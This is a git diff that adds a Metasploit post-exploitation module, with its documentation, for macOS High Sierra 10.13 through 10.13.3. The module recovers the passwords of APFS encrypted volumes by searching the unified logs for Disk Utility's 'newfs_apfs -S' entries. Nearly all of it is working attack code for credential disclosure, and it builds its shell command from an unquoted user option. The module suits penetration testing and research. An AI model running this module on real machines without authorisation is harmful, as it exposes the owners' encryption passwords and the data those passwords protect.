diff --git a/documentation/modules/post/osx/gather/apfs_encrypted_volume_passwd.md b/documentation/modules/post/osx/gather/apfs_encrypted_volume_passwd.md new file mode 100644 index 000000000000..54f0601316d6 --- /dev/null +++ b/documentation/modules/post/osx/gather/apfs_encrypted_volume_passwd.md @@ -0,0 +1,27 @@ +This module uses a vulnerability in macOS High Sierra's `log` command. It uses the logs of the Disk Utility app to recover the password of an APFS encrypted volume from when it was created. + +## Vulnerable Application + + * macOS 10.13.0 + * macOS 10.13.1 + * macOS 10.13.2 + * macOS 10.13.3* + + + \* On macOS 10.13.3, the password can only be recovered if the drive was encrypted before the system upgrade to 10.13.3. See [here](https://www.mac4n6.com/blog/2018/3/21/uh-oh-unified-logs-in-high-sierra-1013-show-plaintext-password-for-apfs-encrypted-external-volumes-via-disk-utilityapp) for more info + +## Verification Steps + + Example steps in this format (is also in the PR): + + 1. Start `msfconsole` + 2. Do: `use post/osx/gather/apfs_encrypted_volume_passwd` + 3. Do: set the `MOUNT_PATH` option if needed + 4. Do: ```run``` + 5. You should get the password + +## Options + + **MOUNT_PATH** + + `MOUNT_PATH` is the path on the macOS system where the encrypted drive is (or was) mounted. This is *not* the path under `/Volumes` diff --git a/modules/post/osx/gather/apfs_encrypted_volume_passwd.rb b/modules/post/osx/gather/apfs_encrypted_volume_passwd.rb new file mode 100644 index 000000000000..0940ad9aea8a --- /dev/null +++ b/modules/post/osx/gather/apfs_encrypted_volume_passwd.rb @@ -0,0 +1,72 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Post + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Mac OS X APFS Encrypted Volume Password Disclosure', + 'Description' => %q( + This module exploits a flaw in OSX 10.13 through 10.13.3 + that discloses the passwords of encrypted APFS volumes. + ), + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://thehackernews.com/2018/03/macos-apfs-password.html' ], + [ 'URL', 'https://www.mac4n6.com/blog/2018/3/21/uh-oh-unified-logs-in-high-sierra-1013-show-plaintext-password-for-apfs-encrypted-external-volumes-via-disk-utilityapp' ] + + ], + 'Platform' => 'osx', + 'Arch' => ARCH_ALL, + 'Author' => [ + 'Sarah Edwards', # earliest public discovery + 'cbrnrd' # Metasploit module + ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Mac OS X High Sierra (10.13.1, 10.13.2, 10.13.3)', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 21 2018' + )) + register_options([ + # The command doesn't give volume names, only mount paths (current or previous) + OptString.new('MOUNT_PATH', [false, 'The mount path of the volume to get the password of (Leave blank for all)', '']) + ]) + end + + def check + # sw_vers looks like this: + # ProductName: macOS + # ProductVersion: 10.12 + # BuildVersion: 7A100 + osx_version = cmd_exec('sw_vers -productVersion') + return Exploit::CheckCode::Vulnerable if osx_version =~ /^10\.13[\.[0-3]]?$/ + Exploit::CheckCode::Safe + end + + def run + if check == Exploit::CheckCode::Safe + print_error "This version of OSX is not vulnerable" + return + end + cmd = "log show --info --predicate 'eventMessage contains \"newfs_\"'" + cmd << " | grep #{datastore['MOUNT_PATH']}" unless datastore['MOUNT_PATH'].empty? + vprint_status "Running \"#{cmd}\" on target..." + results = cmd_exec(cmd) + vprint_status "Target results:\n#{results}" + if results.empty? + print_error 'Got no response from target. Stopping...' + else + successful_lines = 0 + results.lines.each do |l| + next unless l =~ /newfs_apfs(.*)-S(.*)$/ + print_good "APFS command found: #{$&}" + successful_lines += 1 + end + print_error "No password(s) found for any volumes. Exiting..." if successful_lines.zero? + end + end +end